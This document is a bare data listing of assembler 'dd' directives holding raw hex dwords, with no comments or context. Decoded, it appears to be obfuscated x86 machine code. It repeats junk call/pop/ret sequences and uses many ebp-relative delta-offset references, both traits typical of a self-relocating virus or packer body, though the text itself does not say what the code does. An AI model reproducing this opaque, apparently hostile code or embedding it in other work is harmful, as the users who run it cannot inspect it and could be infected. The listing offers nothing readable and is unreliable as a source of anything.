		dd 0ABA9538h, 8B339FB8h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 7335D7D4h, 6D09455h, 0DE9h
		dd 893B3C00h, 0EA9825F8h, 817BCC00h, 0BD83BCADh, 5EA13D9h
		dd 83097500h, 0EA2EE5BDh, 13740005h, 0C08B5350h, 0B8h
		dd 309D8D00h, 0FF05ECDCh, 83585BD3h, 0EA2EE5BDh, 11740005h
		dd 0B85350h, 8D000000h,	0ECDB2F9Dh, 5BD3FF05h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0AC528BE5h, 6E82DE7Eh, 9A59503h, 10E805EAh, 0C6000000h
		dd 4CFD58CFh, 3CA38994h, 342E5424h, 0B5D0CA34h,	0C08B59B3h
		dd 0A7A9E181h, 0C08B0365h, 2C41BD8Bh, 0BD8305EAh, 5EA13D9h
		dd 83097500h, 0EA2EE5BDh, 13740005h, 0C08B5350h, 0B8h
		dd 629D8D00h, 0FF05ECDBh, 89585BD3h, 0EA24B5B5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89BBECACh, 0EA1CE585h, 50C08B05h, 0DD78166h,	0C08B5965h
		dd 5B71BF66h, 13D9BD83h, 750005EAh, 0E5BD8309h,	5EA2Eh
		dd 53501974h, 0D0B8C08Bh, 89000007h, 0EA0D7985h, 0F59D8D05h
		dd 0FF05ECDDh, 83585BD3h, 0EA2EE5BDh, 17740005h, 0D0B85350h
		dd 89000007h, 0EA0D7985h, 0E49D8D05h, 0FF05ECDAh, 29585BD3h
		dd 0EA31CDB5h, 61958B05h, 0B905EA2Dh, 4175D10h,	80F8C08Bh
		dd 85C6E8DEh, 5EA1A45h,	0CE953h, 98930000h, 3080B518h
		dd 0C6AD3314h, 90684309h, 6699395Fh, 0FF3E9EBFh, 0EA1D45B5h
		dd 19950B05h, 8D05EA2Ch, 0EA396985h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 890F3F4Eh
		dd 0
		dd 830FD0FFh, 6, 0F398589h, 858905EAh, 5EA2A19h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 80C35040h, 61B589D4h
		dd 0C605EA0Ah, 0EA1A4585h, 8D8B5705h, 5EA0A71h,	4520668h
		dd 2D958B90h, 0FF05EA16h, 0EA1D45B5h, 0E9816605h, 858D19A0h
		dd 5EA3969h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	39C35040h, 0D3A9B8BEh, 0B6800B92h, 128F0Fh, 0DE90000h
		dd 53000000h, 0D39EB622h, 917F6E99h, 0C000CEC7h, 32E5BD89h
		dd 0D0FF05EAh, 0B558D89h, 858905EAh, 5EA1449h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 1EC35141h, 4585C60Ah
		dd 4305EA1Ah, 13919589h, 286805EAh, 1BC9070h, 0EA02718Dh
		dd 45B5FF05h, 6A05EA1Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 6E6CC355h, 377D6F74h
		dd 0AD8528E2h, 2E2D8D8Bh, 5EB505EAh, 3969858Dh,	13E905EAh
		dd 0F9000000h, 3C6240C8h, 543C3375h, 0AC41D346h, 8B8E717h
		dd 0D0FF016Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0F1C35141h, 6D813BF4h, 8B0C1223h, 0EA0C498Dh, 19858905h
		dd 8905EA2Eh, 0EA1D4195h, 4585C605h, 4C05EA1Ah,	16259533h
		dd 0E96805EAh, 66D9DA1Ch, 858CD181h, 1D45B5FFh,	0E85005EAh
		dd 8, 0B911DBF9h, 0B0635D0h, 850Fh, 595F0000h, 3969858Dh
		dd 4B205EAh, 9E9D0FFh, 0D1000000h, 2B7EC397h, 75175A38h
		dd 89CB8B66h, 0EA02A185h, 0C6D18A05h, 0EA1A4585h, 0CA8B4605h
		dd 32118D8Bh, 146805EAh, 89BADE06h, 0EA00E985h,	45B5FF05h
		dd 6A05EA1Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0CB80C350h, 0F28166D4h, 858D7675h
		dd 5EA3969h, 30A5BD89h,	0D0FF05EAh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0C1C35545h,	0EE9h, 9DD42700h
		dd 0C9A2FCAh, 7D21E180h, 8940D2C9h, 0EA059585h,	0FD958B05h
		dd 0C605EA29h, 0EA1A4585h, 0E2684705h, 8B8A0FB5h, 0EA0D6D8Dh
		dd 45B5FF05h, 0B905EA1Dh, 3E0214EBh, 3969858Dh,	0B96605EAh
		dd 8B609570h, 0EA139D8Dh, 358D8B05h, 6105EA14h,	6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 96C05AC3h, 89DE9CB0h, 0EA09D985h, 820F05h, 0C6000000h
		dd 0EA1A4585h, 6A4705h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 193F55C3h, 0F3689FC0h, 6A83D0B5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 14ECC353h, 0BD8B1A1Fh, 5EA0D59h, 1D45B5FFh
		dd 8C0F05EAh, 3, 8DC88B66h, 0EA396985h,	68D0F05h, 89000000h
		dd 0EA1419BDh, 0FD0FF05h, 38Bh,	0D38B6600h, 11F18589h
		dd 953105EAh, 5EA1ECDh,	5130D781h, 85C60067h, 5EA1A45h
		dd 31EB977h, 0A368305Dh, 0FF397A8h, 68Dh, 89852900h, 0FF05EA1Ah
		dd 0EA1C8DB5h, 0FD958B05h, 8D05EA28h, 0EA396985h, 66D0FF05h
		dd 0BE8BD281h, 0C698589h, 0BD2B05EAh, 5EA0FF9h,	1A4585C6h
		dd 0F4705EAh, 68Dh, 1858900h, 6005EA0Ch, 0CF59529h, 0EA8005EAh
		dd 0F6686126h, 0E88728FAh, 12h,	0F61C49EEh, 99AF88CFh
		dd 0F4B7A842h, 0F1E34551h, 0FE91698h, 98000000h, 51AE5A69h
		dd 70C773BFh, 0B7B0775Ch, 0FF5A798Ch, 0EA1D45B5h, 75958B05h
		dd 8D05EA03h, 0EA396985h, 818D3305h, 0FF05EA11h, 498D89D0h
		dd 8905EA0Ch, 0EA332185h, 13E905h, 9B2C0000h, 57E11EF2h
		dd 0C80E45EAh, 5C5D065Fh, 109415D2h, 4585C64Ch,	4305EA1Ah
		dd 68F8B70Fh, 0BC8E6EFCh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 26C35040h, 0D631D376h, 0DF813D9Fh, 16FB0792h
		dd 0CB69C181h, 0B5FF069Bh, 5EA1D45h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0DFC35545h,	0A50DFE6Fh, 0FE8B664Dh
		dd 3969858Dh, 12E805EAh, 22000000h, 0DE44CA10h,	0A0627C48h
		dd 8070DB12h, 0F9347965h, 0D0FF5976h, 19FD958Bh, 858905EAh
		dd 5EA2501h, 0BAEF8166h, 4585C675h, 4505EA1Ah, 696968FCh
		dd 810F8E72h, 1, 45B5FFF9h, 6A05EA1Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6F43C353h
		dd 124EB6D2h, 3969858Dh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 1E7D94C3h, 0FFF9559Ah
		dd 0EDB531D0h, 8905EA28h, 0EA2E7D85h, 0C9B52905h, 0C605EA2Ah
		dd 0EA1A4585h, 800F4405h, 5, 53EA8166h,	0EC6468DBh, 6AB8F2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0EB5E57C3h, 0D7E96D97h, 8908FEF0h, 0EA036195h, 45B5FF05h
		dd 3305EA1Dh, 0EA076D8Dh, 69858D05h, 8905EA39h,	0EA1D8995h
		dd 60D0FF05h, 0B589F860h, 5EA0BD1h, 0F98B6661h,	1858961h
		dd 8905EA2Fh, 0EA081D8Dh, 4585C605h, 4305EA1Ah,	14E8h
		dd 0E1F85500h, 0ECA8E169h, 60267497h, 0A6670C0Fh, 86977E97h
		dd 0F0BF668Bh, 8B665FC4h, 4AA768D1h, 0F5BFC076h, 0FF2A578Fh
		dd 0EA1D45B5h, 65958905h, 8D05EA03h, 0EA396985h, 2860F05h
		dd 8A000000h, 0BD0FFEBh, 0EA1BD995h, 0D858905h,	8905EA23h
		dd 0EA2CC1B5h, 91BD8005h, 5ED33h, 98840Fh, 4ABA0000h, 0BA631B40h
		dd 223E8610h, 3373858Dh, 0C7B605EDh, 0F9852950h, 6A05EA19h
		dd 298D8B01h, 6A05EA14h, 8D295100h, 5EA2BFDh, 6A006A5Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 4F74C351h, 8BBDF2E8h, 0EA1A2995h,	1995FF05h
		dd 8105EA2Eh, 8DB7B2E7h, 31858948h, 6605EA12h, 0FF6ACB8Bh
		dd 11E8h, 74A2B000h, 0AC6505C3h, 0B9BD4EBBh, 36DDB934h
		dd 8051E190h, 5A5907D5h, 1231B5FFh, 8B6605EAh, 4995FFCFh
		dd 6605EA14h, 0C08BD68Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 9AC35747h, 1C8BAF8Ah,	59D89B8h, 8305EA31h
		dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h
		dd 7D1B8C0h, 85890000h,	5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh
		dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D1B853h, 85890000h
		dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0D38B585Bh, 68B0Fh
		dd 8D0B0000h, 5EA2599h,	5810Fh,	60BA0000h, 8B5492C0h, 0FEB70FC0h
		dd 1A4585C6h, 0F4705EAh, 38Bh, 0C9B70F00h, 0C8F7C168h
		dd 91BD8993h, 0FF05EA0Ah, 0EA1D45B5h, 0EE805h, 81290000h
		dd 84607553h, 0AAE81757h, 0F814F799h, 1C699589h, 8D5905EAh
		dd 0EA396985h, 8D8D2B05h, 8B05EA2Eh, 0EA20D98Dh, 66D0FF05h
		dd 0E950CA8Bh, 0Dh, 35E14C58h, 0A148095Dh, 13E7D8F0h, 0B4858D2Ah
		dd 0E905ED37h, 0Ah, 26F904B4h, 21208993h, 0C7E28Eh, 94h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6AC35040h
		dd 9EB87DF6h, 109D07Dh,	0EA2ACD95h, 66F55805h, 0B58DD38Bh
		dd 5ED37B4h, 815653B6h,	141DFFDFh, 0B1D0FF30h, 0B4858D87h
		dd 6A05ED37h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 8C2CC355h, 1FFD3DDCh
		dd 14E9554Dh, 0BB000000h, 8287E4D3h, 6D3AB33Dh,	78A66ECEh
		dd 0ABDE39E6h, 8344EFEEh, 0F060478h, 3985h, 85C7F900h
		dd 5ED3848h, 1,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	98C35545h, 0E9CC8138h, 0Ah, 2A6AA34Fh, 0ACB75034h
		dd 0BD83072Dh, 5EA2AF9h, 76850F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0FEBCC350h, 6C71713Ch, 48BD833Ch, 5ED38h, 47850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 999BE9C3h, 8375B326h, 0EA1A75BDh, 840F0005h,	19h, 5E9h
		dd 0E7344F00h, 8B66C54Fh, 0B585C7CAh, 5EA02h, 0B5000000h
		dd 0DB8C663Ah, 15C2F181h, 0BD8B6C3Ch, 5EA13E5h,	0F04C3F6h
		dd 4EB84h, 7BED8000h, 2D185C7h,	5EAh, 0BD8B0000h, 5EA0EA9h
		dd 0E19D2960h, 0F05EA09h, 685h,	0D18D8B00h, 6105EA1Dh
		dd 339EBD80h, 0F0005EDh, 85h, 4585C600h, 4705EA1Ah, 0EA98D8Bh
		dd 866805EAh, 89E3E45Bh, 0EA2CA585h, 45B5FF05h,	8B05EA1Dh
		dd 69858DCEh, 6A05EA39h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E50FC351h,	0D2802BDFh
		dd 8BD0FF93h, 0EA2BB1BDh, 1046805h, 85890000h, 5EA0C01h
		dd 1EFD9D8Dh, 10E905EAh, 1A000000h, 99003DD1h, 0DEC3B78Dh
		dd 15B0850Dh, 53A5CC6Ah, 0EE8h,	8DE8400h, 68C1E445h, 5BEC4CD5h
		dd 663ADDD5h, 303AD781h, 0FD0FF5Fh, 0F81h, 0AE900h, 57A20000h
		dd 0B031C5B5h, 0C8F97E21h, 1EFD858Dh, 0F6005EAh, 0B589F0BFh
		dd 5EA0235h, 0BD335061h, 5EA32F5h, 0FE96060h, 20000000h
		dd 0EB251DE8h, 291E2A74h, 9D451378h, 81664071h,	613450E6h
		dd 2D51B58Bh, 8D6105EAh, 0ED335085h, 0A1CA8105h, 5021129Ah
		dd 68D0Fh, 95330000h, 5EA101Dh,	2A23858Dh, 0CD8005EDh
		dd 9589505Ah, 5EA06E9h,	0C6995FFh, 0B58905EAh, 5EA1705h
		dd 800CC483h, 6A77F2h, 8068h, 6A036A00h, 68006A00h, 80000000h
		dd 2A23858Dh, 0FF5005EDh, 0EA250195h, 33858905h, 0C605ED33h
		dd 0EA1A4585h, 87684705h, 0FFC7B15Eh, 0EA1D45B5h, 69858D05h
		dd 0FF05EA39h, 0FF006AD0h, 0ED3333B5h, 29D0FF05h, 0EA32FDB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0BBC53706h, 5E14ED81h, 0E32BA66h, 37D03Dh
		dd 2F830F00h, 0F000000h, 686h, 798D8B00h, 0FF05EA2Bh, 0ED3333B5h
		dd 51958905h, 0FF05EA20h, 0EA230D95h, 0D3E905h,	8D0F0000h
		dd 6, 10A58D03h, 0B5FF05EAh, 5ED3333h, 2EC5BD8Bh, 0B70F05EAh
		dd 0D95FFFBh, 2905EA23h, 0EA16B58Dh, 0E9006A05h, 12h, 489CFFDh
		dd 6178B73Ch, 4371DE9Fh, 0B1BB1543h, 6A2E9Fh, 59D9D01h
		dd 6A05EAh, 0CB9BD8Bh, 6A05EAh,	13E8h, 0E03DF100h, 0FDB0BD8Fh
		dd 6DD08154h, 30F84E3Ch, 557F12BCh, 6FF28166h, 6A59BBh
		dd 1D8D8960h, 0F05EA00h, 6A61CFB7h, 0D9950900h,	8D05EA11h
		dd 0ED333785h, 7E905h, 1EA20000h, 0C2A9F9D1h, 0AE8E6h
		dd 58A30000h, 0B93FB571h, 0F59C5DC6h, 2BD98529h, 505F05EAh
		dd 2989BD8Bh, 95FF05EAh, 5EA2501h, 8299D89h, 0F88305EAh
		dd 3F850FFFh, 60000001h, 958B8DB7h, 5EA154Dh, 3858D61h
		dd 6A05ECEAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0E374C350h, 9D0FFD6h, 0EA255D8Dh
		dd 8E85305h, 75000000h,	5B94CF0h, 80612573h, 5F5FA3EAh
		dd 8589006Ah, 5EA19DDh,	8D0F006Ah, 6, 2AD8D2Bh,	6A05EAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EDC35646h
		dd 6AD55Fh, 2167FEB9h, 89006A5Dh, 0EA304595h, 29006A05h
		dd 0EA25BD9Dh, 37858D05h, 5005ED33h, 16A5BD29h,	95FF05EAh
		dd 5EA2501h, 0CE8h, 0FA312F00h,	2C75A799h, 8E5C5918h, 81B589B7h
		dd 5905EA20h, 16F1BD33h, 0F88305EAh, 6F850FFFh,	60000000h
		dd 1699850Bh, 0FE905EAh, 3D000000h, 84AD59BBh, 6ECCA542h
		dd 101E5394h, 8D61B216h, 0ED2D3FB5h, 48E2BA05h,	858D19D3h
		dd 5ECD7DFh, 1615B589h,	0D0FF05EAh, 15BD0B57h, 5F05EA0Fh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0E148C9C3h, 0FC915D9h, 95FFD7B7h,	5EA2E7Dh
		dd 3261BD89h, 858905EAh, 5ED3333h, 6AF98Bh, 14E850h, 0CA850000h
		dd 4EE4ECA7h, 3BF6B0D0h, 5668EC6Bh, 235E9FE1h, 0B5315735h
		dd 5EA0081h, 8D8B5F5Ah,	5EA1CCDh, 332B858Dh, 8E0F05EDh
		dd 11h,	0D7816660h, 5E99B41h, 2E000000h, 0F94D7B18h, 10E95061h
		dd 0C8000000h, 0B3C95CA2h, 0CD686906h, 0DB960D29h, 6A79A334h
		dd 0C6E5B904h, 0F98B00F6h, 0F5858Dh, 0BD3105EAh, 5EA07F5h
		dd 8B006A50h, 0EA2ED18Dh, 6A006A05h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6A5BC352h
		dd 0BD8B1C92h, 5EA024Dh, 8D89016Ah, 5EA2E9Dh, 3333B5FFh
		dd 8B6605EDh, 195FFCFh,	6A05EA2Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B75FC351h
		dd 5D8F12B9h, 1C47E918h, 8D030000h, 5EA0861h, 83F8C08Bh
		dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h
		dd 7D2B8C0h, 85890000h,	5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh
		dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D2B853h, 85890000h
		dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 8589585Bh,	5EA2CA9h
		dd 54F3B966h, 10E9C08Bh, 0B2000000h, 0F0340A06h, 0FBF88F75h
		dd 5DC9FE13h, 0C7BCE135h, 0EA02D185h, 105h, 5DBD8B00h
		dd 0F05EA1Ah, 8Dh, 0E7B86800h, 0B5FFCEE4h, 5EA2B19h, 3969858Dh
		dd 0D0FF05EAh, 1A598589h, 0D46805EAh, 0FFC005DBh, 0EA2B19B5h
		dd 69858D05h, 0FF05EA39h, 0CD8589D0h, 8D05EA13h, 0ED27DC85h
		dd 0B5FF5005h, 5EA1D45h, 9D995FFh, 0C00B05EAh, 0D88B0B74h
		dd 378F858Dh, 0FF5005EDh, 8F858DD3h, 6605ED37h,	75093883h
		dd 0DD85C70Ah, 105EA15h, 0FF000000h, 0EA332195h, 0FF2505h
		dd 0F8830000h, 0C70A7305h, 0EA32A585h, 105h, 13E900h, 813C0000h
		dd 2A8864E8h, 3023EB6Ah, 0CB2266B1h, 4FEA812Eh,	14E8608Eh
		dd 54000000h, 29AE22DBh, 0EF108D68h, 2FC19596h,	46F5B6EBh
		dd 8B1D1952h, 0EA2EA19Dh, 0CE815B05h, 7982AD89h, 9EBD8061h
		dd 5ED33h, 32850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B6A3BBC3h, 8A615DDDh
		dd 8B1248C4h, 1ABFE9CAh, 0BD8B0000h, 5EA0AD1h, 15DDBD83h
		dd 0F0005EAh, 0C785h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6229D882h, 0F0CFEECBh
		dd 52D38B06h, 0D8D8BA66h, 68858D5Ah, 0E905ED33h, 0Dh, 9B0645B2h
		dd 52C0B6FCh, 0B14A3D03h, 0B5895078h, 5EA138Dh,	6AC88B66h
		dd 8715BA01h, 6A4195h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 9AC35545h
		dd 7E16E63h, 8F0F006Ah,	6, 0AC19D89h, 95FF05EAh, 5EA2E19h
		dd 8589F48Ah, 5ED3392h,	47D78166h, 8BFF6A98h, 0EA312595h
		dd 92B5FF05h, 8905ED33h, 0EA1CE585h, 4995FF05h,	0F05EA14h
		dd 0F84h, 7E800h, 0F5A90000h, 1C03E34Fh, 5ACB8B70h, 27A3858Dh
		dd 50F805EDh, 31F8BF0Fh, 0EA079D95h, 0A195FF05h, 8905EA02h
		dd 0EA2B219Dh, 2D858905h, 905ED28h, 0EA0A6995h,	0B0858D05h
		dd 8905ED27h, 0EA0B119Dh, 0D0BF0F05h, 0EE950h, 58470000h
		dd 73082C05h, 56F2633Eh, 68DAD2CBh, 282DB5FFh, 0FFF805EDh
		dd 0EA09D995h, 8589F505h, 5EA2AA9h, 1219958Bh, 858D05EAh
		dd 5ED281Eh, 8E8h, 7D824700h, 0A51BB3ACh, 6BF2818Bh, 5A6CD40Bh
		dd 56006A50h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FEB967ACh, 0FF281DF9h, 0ED282DB5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 681DFD5Bh, 0D995FF21h, 0E905EA09h, 0Bh, 9E0B003Fh, 440664EEh
		dd 897DA98Ah, 0ED284185h, 0D1BD2B05h, 8D05EA2Ch, 0ED27FD85h
		dd 0DDB58905h, 6005EA25h, 0D7816651h, 0E85FABB3h, 11h
		dd 5E78AEE3h, 0B0162E06h, 7D8DAF1Ch, 19F0E81Dh,	14E9E3h
		dd 0ECAE0000h, 1856411Dh, 22118253h, 0A73ECFFCh, 0D8C74B40h
		dd 615E59B4h, 2DB5FF50h, 8B05ED28h, 0EA0EB18Dh,	0D995FF05h
		dd 0F05EA09h, 8589FABFh, 5ED2839h, 0F0858DF9h, 5005ED27h
		dd 6870Fh, 958B0000h, 5EA0219h,	0D9815059h, 23A33F00h
		dd 282DB5FFh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0CCCF7AC3h, 0E252F918h, 8960CAF5h
		dd 0EA05AD9Dh, 61C38A05h, 9D995FFh, 0F28105EAh,	496D4913h
		dd 283D8589h, 8E805EDh,	6D000000h, 68A25CCDh, 663CEABCh
		dd 8D5FD08Bh, 0ED280B85h, 6A50F805h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1487C351h
		dd 3CBAFA88h, 51958B6Dh, 6005EA08h, 8F62CA81h, 6E90A3Eh
		dd 29000000h, 93EDC6C9h, 0B5FF61BEh, 5ED282Dh, 1E19BD89h
		dd 95FF05EAh, 5EA09D9h,	10F58D03h, 0AABF05EAh, 89480AF4h
		dd 0EA2C7585h, 858DFC05h, 5ED27BFh, 0CF816656h,	505AED29h
		dd 2DB5FFFCh, 6005ED28h, 8E8h, 814EF700h, 56F6D50Ah, 665BF5F7h
		dd 71C5DA81h, 95895361h, 5EA2BD9h, 0D995FF5Fh, 2905EA09h
		dd 0EA10418Dh, 31858905h, 8A05ED28h, 0CE858DCEh, 8905ED27h
		dd 0EA3119B5h, 509FB605h, 1259D09h, 0B5FF05EAh,	5ED282Dh
		dd 0CE9h, 87F17800h, 0C4E57209h, 47C6D3DDh, 0D995FFBFh
		dd 6A05EA09h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0D7EAC353h, 6651E27Bh,	895AD38Bh
		dd 0ED283585h, 9CBF6605h, 10468ACh, 840F0000h, 6, 0D1C2E781h
		dd 858D640Eh, 5ED28C5h,	84D98166h, 0BF0F50F3h, 0C9858DD7h
		dd 8105ED29h, 0E6370CD9h, 6A500Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FC9E74C3h, 11F195FFh
		dd 13BF05EAh, 8550962Dh, 25850FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D8A4C355h, 9C172B6Bh, 0C6B158B7h, 339EBD80h, 0F0005EDh
		dd 0D85h, 0F1850900h, 0E905EA32h, 167Dh, 0BD83FB8Bh, 5EA15DDh
		dd 22850F00h, 60000000h, 31F18D89h, 8B0F05EAh, 1, 0BD8361F8h
		dd 5ED3848h, 60840F00h,	0F000000h, 0B70FFEBFh, 62858DFAh
		dd 6A05ED28h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F72C351h, 9527608Eh, 0C05AE358h
		dd 161CE9h, 0C59D8900h,	0E905EA15h, 2Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 63C35646h, 8D87C417h
		dd 0ED284D85h, 15958B05h, 5005EA16h, 0C5858DF9h, 0B505ED28h
		dd 840F5025h, 6, 1C219503h, 0BD8305EAh,	5EA15DDh, 5B840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6E5CC351h, 90BBAE24h, 29EB858Dh
		dd 0C98105EDh, 68307F40h, 3BE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 81BD9607h
		dd 40FADEE1h, 0B5C8B901h, 858D5A37h, 5ED29D4h, 2AA5BD09h
		dd 858905EAh, 5EA0621h,	89BD2950h, 905EA0Eh, 0EA1135BDh
		dd 23858D05h, 5605ED2Ah, 0B4D9531h, 505905EAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 54C35040h, 0E9DA5D4Ch
		dd 14C9BD89h, 816605EAh, 0FFB33FF1h, 0EA0C6995h, 11E805h
		dd 0F17B0000h, 71FE0BA0h, 0C4614F63h, 1FDF3999h, 8932187Fh
		dd 0EA0C3D85h, 0C4835905h, 7E910h, 0F850000h, 79A96E5Bh
		dd 6AC08BE0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0F1AEC355h, 8D89607Dh,	5EA1635h
		dd 1890Fh, 61F80000h, 13D9BD83h, 750005EAh, 0E5BD8309h
		dd 5EA2Eh, 53501974h, 0D3B8C08Bh, 89000007h, 0EA0D7985h
		dd 0F59D8D05h, 0FF05ECDDh, 83585BD3h, 0EA2EE5BDh, 17740005h
		dd 0D3B85350h, 89000007h, 0EA0D7985h, 0E49D8D05h, 0FF05ECDAh
		dd 0E8585BD3h, 0Dh, 0CA7BBF89h,	327EB85Dh, 6F9C6FADh, 0D5BD89B5h
		dd 5A05EA0Dh, 958BC08Bh, 5EA0C21h, 284DBD81h, 726F05EDh
		dd 840F6165h, 0ACh, 2C7D8D8Bh, 858D05EAh, 5ED28C5h, 2858D50h
		dd 5005ED2Ah, 2A23858Dh, 0FF5005EDh, 0EA0C6995h, 0CC48305h
		dd 1A4585C6h, 684405EAh, 96A3184Fh, 1D45B5FFh, 858D05EAh
		dd 5EA3969h, 0D88BD0FFh, 2A23858Dh, 0FF5005EDh,	4D858DD3h
		dd 5005ED28h, 28C5858Dh, 835005EDh, 0EA15DDBDh,	8740005h
		dd 29EB858Dh, 6EB05EDh,	29D4858Dh, 8D5005EDh, 0ED2A2385h
		dd 95FF5005h, 5EA0C69h,	6A10C483h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 505DC350h
		dd 2BD18589h, 0F5905EAh, 38Eh, 0FB8B6600h, 332195FFh, 25F805EAh
		dd 0FFh, 0EE8h,	0B6A91500h, 8953158Bh, 0A7D01BE0h, 0FD28372h
		dd 335ACEBFh, 0EA2319BDh, 5F88305h, 30830Fh, 958B0000h
		dd 5EA32ADh, 32A585C7h,	105EAh,	81660000h, 8B4E3FE1h, 0EA1D31BDh
		dd 81858D05h, 0B105ED28h, 9BE970h, 0DBB50000h, 0C65BD89h
		dd 0BD8305EAh, 5EA15DDh, 71840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E91CC350h, 13h, 3E40FC8h, 706143EFh, 369C88D6h, 89128E11h
		dd 0B2397E61h, 0AC858D7Fh, 6A05ED28h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 892BC350h
		dd 81668608h, 0E9CEA6C2h, 21h, 6870Fh, 9D890000h, 5EA0735h
		dd 288E858Dh, 8B6005EDh, 0EA2EA195h, 0CCB85005h, 594373E7h
		dd 0C1858961h, 0F505ED28h, 15DDBD83h, 0F0005EAh, 3785h
		dd 0DE800h, 0E7F10000h,	0F9234222h, 0ABB545BBh,	0F9F1F3Fh
		dd 68Fh, 59D8900h, 5A05EA03h, 3848BD83h, 0F0005EDh, 1384h
		dd 0B1953100h, 0B905EA07h, 25E57EC9h, 1240E9h, 0CE8B6600h
		dd 487E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0ED0B85D6h, 72A449C6h, 8166C08Bh, 83F435DFh
		dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h
		dd 7D4B8C0h, 85890000h,	5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh
		dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7D4B853h, 85890000h
		dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0B509585Bh, 5EA2D31h
		dd 98BBC981h, 0C08B0733h, 0EFDBD8Bh, 3F6805EAh,	3000F00h
